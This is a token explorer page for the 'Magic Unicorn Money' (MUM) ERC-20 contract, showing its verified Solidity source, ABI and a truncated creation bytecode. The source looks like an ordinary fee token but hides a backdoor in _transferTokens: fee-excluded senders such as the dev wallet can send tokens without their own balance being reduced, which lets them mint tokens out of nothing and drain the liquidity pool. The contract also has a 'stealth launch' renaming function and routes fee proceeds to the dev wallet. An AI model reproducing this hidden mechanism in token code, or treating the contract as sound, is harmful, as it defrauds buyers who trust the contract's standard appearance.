ERC-20
Overview
Max Total Supply
1,000,000,000 MUM
Holders
109
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,667,761.654061213 MUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MUM
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-27 */ // SPDX-License-Identifier: Unlicensed /* Before the arrival of 2023, in a realm beyond the constraints of time, the cosmos breathed life into an enigmatic value. 🧙♂️💧🌈🍒🎰🔱 Website: https://magicunicornmoney.info Twitter: https://twitter.com/MUM_ERC Telegram: https://t.me/MUM_ERC */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; // Set original owner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } // Return current owner function owner() public view virtual returns (address) { return _owner; } // Restrict function to contract owner only modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } // Renounce ownership of the contract function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Transfer the contract to to a new owner function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract MUM is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; // Tracking status of wallets mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; /* * Development and burn wallet WALLETS */ address payable private Wallet_Dev = payable(0x7BFfB7C70384d914886DB12BAC42a13B794ACeEA); address payable private Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); /* * TOKEN DETAILS */ string private _name = "Magic Unicorn Money"; string private _symbol = "MUM"; uint8 private _decimals = 9; uint256 private _tTotal = 10 ** 9 * 10**_decimals; uint256 private _tFeeTotal; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 2; // This is the max fee that the contract will accept, it is hard-coded to protect buyers // This includes the buy AND the sell fee! uint256 public maxPossibleFee = 12; // Setting the initial fees uint256 private _TotalFee = 100; uint256 public _buyFee = 1; uint256 public _sellFee = 1; // 'Previous fees' are used to keep track of fee settings when removing and restoring fees uint256 private _previousTotalFee = _TotalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; /* *WALLET LIMITS */ uint256 public _maxWalletToken = 2 * _tTotal / 100; uint256 public _swpaThreshold = _tTotal / 10000; uint256 private _previousMaxWalletToken = _maxWalletToken; /* PANCAKESWAP SET UP */ IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); // Prevent processing while already processing! modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create pair address for PancakeSwap uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[Wallet_Dev] = true; emit Transfer(address(0), owner(), _tTotal); } /* * STANDARD ERC20 COMPLIANCE FUNCTIONS */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * END OF STANDARD ERC20 COMPLIANCE FUNCTIONS */ /* * FEES */ // Excludes marketing wallet or volume wallet from tax function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } // Set a wallet address so that it has to pay transaction fees function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } //Good for stealth launch, changes from temp to the final name function set_Token_Bio_For_Stealth_Launch(string memory newName, string memory newSymbol) public onlyOwner() { _name = newName; _symbol = newSymbol; } function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() { require((Buy_Fee + Sell_Fee) <= maxPossibleFee, "Cannot increase above 12%."); _sellFee = Sell_Fee; _buyFee = Buy_Fee; } receive() external payable {} bool public noFeeToTransfer = true; function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } // Set the maximum wallet holding (percent of total supply) function set_Max_Wallet_Percent(uint256 maxWallHolidng) external onlyOwner() { _maxWalletToken = maxWallHolidng * (10**_decimals); } // Remove all fees function removeAllFee() private { if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _TotalFee; _buyFee = 0; _sellFee = 0; _TotalFee = 0; } // Restore all fees function restoreAllFee() private { _TotalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } // Approve a wallet to sell tokens function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() external onlyOwner { _maxWalletToken = ~uint256(0); } function _transfer( address from, address to, uint256 amount ) private { /* * TRANSACTION AND WALLET LIMITS */ // Limit wallet total if (to != owner() && to != Wallet_Dev && to != address(this) && to != uniswapV2Pair && to != Wallet_Burn && from != owner()){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded"); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); /* PROCESSING */ if( txCount >= swapTrigger && amount > _swpaThreshold && !inSwapAndLiquify && !_isExcludedFromFee[from] && to == uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){ _TotalFee = _buyFee; } else if (to == uniswapV2Pair){ _TotalFee = _sellFee; } _tokenTransfer(from,to,amount,takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } // Processing tokens from contract function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(Wallet_Dev,contractETH); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } // Check if token transfer needs to process fees function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferTokens(sender, recipient, amount); if(!takeFee) restoreAllFee(); } // Redistributing tokens and adding the fee to the contract address function _transferTokens(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount); if(_isExcludedFromFee[sender] && _tOwned[sender] <= _maxWalletToken) { tDev = 0; tAmount -= tTransferAmount; } _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } // Calculating the fee in tokens function _getValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount.mul(_TotalFee).div(100); uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Buy_Fee","type":"uint256"},{"internalType":"uint256","name":"Sell_Fee","type":"uint256"}],"name":"_set_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxPossibleFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallHolidng","type":"uint256"}],"name":"set_Max_Wallet_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"set_Token_Bio_For_Stealth_Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600480546001600160a01b0319908116737bffb7c70384d914886db12bac42a13b794aceea179091556005805490911661dead17905560c0604052601360809081527f4d6167696320556e69636f726e204d6f6e65790000000000000000000000000060a052600690620000749082620004e0565b506040805180820190915260038152624d554d60e81b60208201526007906200009e9082620004e0565b506008805460ff19166009908117909155620000bc90600a620006c1565b620000cc90633b9aca00620006d9565b6009819055600b805461ffff1916610200179055600c80556064600d8190556001600e819055600f819055601082905560118190556012559062000112906002620006d9565b6200011e9190620006f3565b601355612710600954620001339190620006f3565b6014556013546015556017805461ffff60a81b191661010160a81b1790553480156200015e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001b86000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025a919062000716565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ce919062000716565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200031c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000342919062000716565b601780546001600160a01b03199081166001600160a01b0393841617909155601680549091169183169190911790556001600360006200038a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560045490911681526003909252902080549091166001179055620003e46000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200042c91815260200190565b60405180910390a35062000741565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046657607f821691505b6020821081036200048757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004db57600081815260208120601f850160051c81016020861015620004b65750805b601f850160051c820191505b81811015620004d757828155600101620004c2565b5050505b505050565b81516001600160401b03811115620004fc57620004fc6200043b565b62000514816200050d845462000451565b846200048d565b602080601f8311600181146200054c5760008415620005335750858301515b600019600386901b1c1916600185901b178555620004d7565b600085815260208120601f198616915b828110156200057d578886015182559484019460019091019084016200055c565b50858210156200059c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000603578160001904821115620005e757620005e7620005ac565b80851615620005f557918102915b93841c9390800290620005c7565b509250929050565b6000826200061c57506001620006bb565b816200062b57506000620006bb565b81600181146200064457600281146200064f576200066f565b6001915050620006bb565b60ff841115620006635762000663620005ac565b50506001821b620006bb565b5060208310610133831016604e8410600b841016171562000694575081810a620006bb565b620006a08383620005c2565b8060001904821115620006b757620006b7620005ac565b0290505b92915050565b6000620006d260ff8416836200060b565b9392505050565b8082028115828204841417620006bb57620006bb620005ac565b6000826200071157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200072957600080fd5b81516001600160a01b0381168114620006d257600080fd5b611ac280620007516000396000f3fe6080604052600436106101e75760003560e01c8063590f897e116101025780639422018411610095578063a9059cbb11610064578063a9059cbb14610581578063dd62ed3e146105a1578063ea2f0b37146105e7578063f2fde38b1461060757600080fd5b8063942201841461050c57806395d89b411461052c578063a457c2d714610541578063a514a07d1461056157600080fd5b8063751039fc116100d1578063751039fc14610493578063768dc710146104a857806378109e54146104d85780638da5cb5b146104ee57600080fd5b8063590f897e1461041257806367cbd84c1461042857806370a0823114610448578063715018a61461047e57600080fd5b806323b872dd1161017a578063437823ec11610149578063437823ec1461038f57806349bd5a5e146103b15780634a4f9701146103d15780634a74bb02146103f157600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461035957806340b9a54b1461037957600080fd5b806313fad07a116101b657806313fad07a146102885780631694505e146102a957806318160ddd146102e1578063220f6696146102f657600080fd5b806306fdde03146101f3578063095ea7b31461021e57806309fbb48b1461024e5780631277ce851461027257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610627565b6040516102159190611412565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611478565b6106b9565b6040519015158152602001610215565b34801561025a57600080fd5b5061026460145481565b604051908152602001610215565b34801561027e57600080fd5b50610264600c5481565b34801561029457600080fd5b5060175461023e90600160b01b900460ff1681565b3480156102b557600080fd5b506016546102c9906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b3480156102ed57600080fd5b50600954610264565b34801561030257600080fd5b5060175461023e90600160a01b900460ff1681565b34801561032357600080fd5b5061023e6103323660046114a4565b6106d0565b34801561034357600080fd5b5060085460405160ff9091168152602001610215565b34801561036557600080fd5b5061023e610374366004611478565b610739565b34801561038557600080fd5b50610264600e5481565b34801561039b57600080fd5b506103af6103aa3660046114e5565b61076f565b005b3480156103bd57600080fd5b506017546102c9906001600160a01b031681565b3480156103dd57600080fd5b506103af6103ec3660046115a5565b6107c6565b3480156103fd57600080fd5b5060175461023e90600160a81b900460ff1681565b34801561041e57600080fd5b50610264600f5481565b34801561043457600080fd5b506103af610443366004611609565b61080e565b34801561045457600080fd5b506102646104633660046114e5565b6001600160a01b031660009081526001602052604090205490565b34801561048a57600080fd5b506103af61089b565b34801561049f57600080fd5b506103af61090f565b3480156104b457600080fd5b5061023e6104c33660046114e5565b60036020526000908152604090205460ff1681565b3480156104e457600080fd5b5061026460135481565b3480156104fa57600080fd5b506000546001600160a01b03166102c9565b34801561051857600080fd5b506103af61052736600461162b565b610941565b34801561053857600080fd5b5061020861098c565b34801561054d57600080fd5b5061023e61055c366004611478565b61099b565b34801561056d57600080fd5b506103af61057c366004611644565b6109ea565b34801561058d57600080fd5b5061023e61059c366004611478565b610a32565b3480156105ad57600080fd5b506102646105bc366004611666565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f357600080fd5b506103af6106023660046114e5565b610a3f565b34801561061357600080fd5b506103af6106223660046114e5565b610a8a565b6060600680546106369061169f565b80601f01602080910402602001604051908101604052809291908181526020018280546106629061169f565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b60006106c6338484610b74565b5060015b92915050565b60006106dd848484610c35565b61072f843361072a85604051806060016040528060288152602001611a40602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fae565b610b74565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c691859061072a9086610fda565b6000546001600160a01b031633146107a25760405162461bcd60e51b8152600401610799906116d9565b60405180910390fd5b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146107f05760405162461bcd60e51b8152600401610799906116d9565b60066107fc8382611754565b5060076108098282611754565b505050565b6000546001600160a01b031633146108385760405162461bcd60e51b8152600401610799906116d9565b600c54610845828461182a565b11156108935760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f7420696e6372656173652061626f7665203132252e0000000000006044820152606401610799565b600f55600e55565b6000546001600160a01b031633146108c55760405162461bcd60e51b8152600401610799906116d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109395760405162461bcd60e51b8152600401610799906116d9565b600019601355565b6000546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610799906116d9565b60085461097c9060ff16600a611921565b6109869082611930565b60135550565b6060600780546106369061169f565b60006106c6338461072a85604051806060016040528060258152602001611a68602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610fae565b6000546001600160a01b03163314610a145760405162461bcd60e51b8152600401610799906116d9565b60178054911515600160b01b0260ff60b01b19909216919091179055565b60006106c6338484610c35565b6000546001600160a01b03163314610a695760405162461bcd60e51b8152600401610799906116d9565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b03163314610ab45760405162461bcd60e51b8152600401610799906116d9565b6001600160a01b038116610b195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610799565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610b9457506001600160a01b03821615155b610bd45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610799565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c6157506004546001600160a01b03838116911614155b8015610c7657506001600160a01b0382163014155b8015610c9057506017546001600160a01b03838116911614155b8015610caa57506005546001600160a01b03838116911614155b8015610cc457506000546001600160a01b03848116911614155b15610d50576001600160a01b038216600090815260016020526040902054601354610cef838361182a565b1115610d4e5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610799565b505b6001600160a01b03831615801590610d7057506001600160a01b03821615155b610db45760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610799565b60008111610e125760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610799565b600b5460ff61010082048116911610801590610e2f575060145481115b8015610e455750601754600160a01b900460ff16155b8015610e6a57506001600160a01b03831660009081526003602052604090205460ff16155b8015610e8357506017546001600160a01b038381169116145b8015610e985750601754600160a81b900460ff165b15610ec857600b805460ff19169055306000908152600160205260409020548015610ec657610ec681610fed565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610f0a57506001600160a01b03831660009081526003602052604090205460ff165b80610f515750601754600160b01b900460ff168015610f3757506017546001600160a01b03858116911614155b8015610f5157506017546001600160a01b03848116911614155b15610f5e57506000610f9c565b6017546001600160a01b0390811690851603610f7f57600e54600d55610f9c565b6017546001600160a01b0390811690841603610f9c57600f54600d555b610fa884848484611032565b50505050565b60008184841115610fd25760405162461bcd60e51b81526004016107999190611412565b505050900390565b6000610fe6828461182a565b9392505050565b6017805460ff60a01b1916600160a01b17905561100981611098565b6004544790611021906001600160a01b0316826111f2565b50506017805460ff60a01b19169055565b806110445761103f611228565b611071565b600b805460ff1690600061105783611947565b91906101000a81548160ff021916908360ff160217905550505b61107c84848461126d565b80610fa857610fa8601054600d55601154600e55601254600f55565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110cd576110cd611966565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c464892600480830193919282